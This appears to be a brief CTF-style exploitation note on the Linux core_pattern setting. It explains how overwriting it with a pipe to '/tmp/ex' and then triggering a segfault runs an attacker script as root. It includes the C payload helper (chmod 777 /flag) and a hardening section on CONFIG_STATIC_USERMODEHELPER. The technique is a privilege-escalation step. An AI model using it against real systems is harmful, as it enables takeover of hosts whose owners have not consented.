core_pattern

core_pattern is yet another global kernel configuration like modprobe_path that controls what Linux does when a process crashes and generates a core dump. Usually, it specifies the filename of the core dump, So when the process crashes, the kernel writes to this filename.

/proc/sys/kernel/core_pattern
core

However, if core_pattern begins with a pipe (|), Linux treats it as a program to execute instead of a filename

core_pattern = |/usr/bin/helper

Exploitation

This global variable can be overwritten to arbitrary executable with arbitrary write primitive.

void core_pattern() {
	//overwrite core_pattern string with "|/tmp/ex"
	//change the script content as needed
    FILE *fp = fopen("/tmp/ex", "w");
    if (fp) {
        fprintf(fp, "#!/bin/sh\n");
        fprintf(fp, "chmod 777 /flag\n"); 
        fclose(fp);
    }
    system("chmod +x /tmp/ex");
}

• After overwriting the core_pattern variable, now trigger a segmentation fault with null pointer dereference.

*(int*)NULL = 0;

Hardening

CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH="/sbin/usermode-helper"

• core_pattern (like modprobe_path) is ultimately consumed by call_usermodehelper_exec(). With CONFIG_STATIC_USERMODEHELPER enabled, the kernel ignores whatever path/pipe target is stored in core_pattern and always executes the single fixed binary at CONFIG_STATIC_USERMODEHELPER_PATH instead.
• So even with an arbitrary write primitive to overwrite the core_pattern string, the attacker-controlled path/script is never actually invoked - the real usermode helper call is redirected to the hardcoded binary, which does nothing attacker-controlled.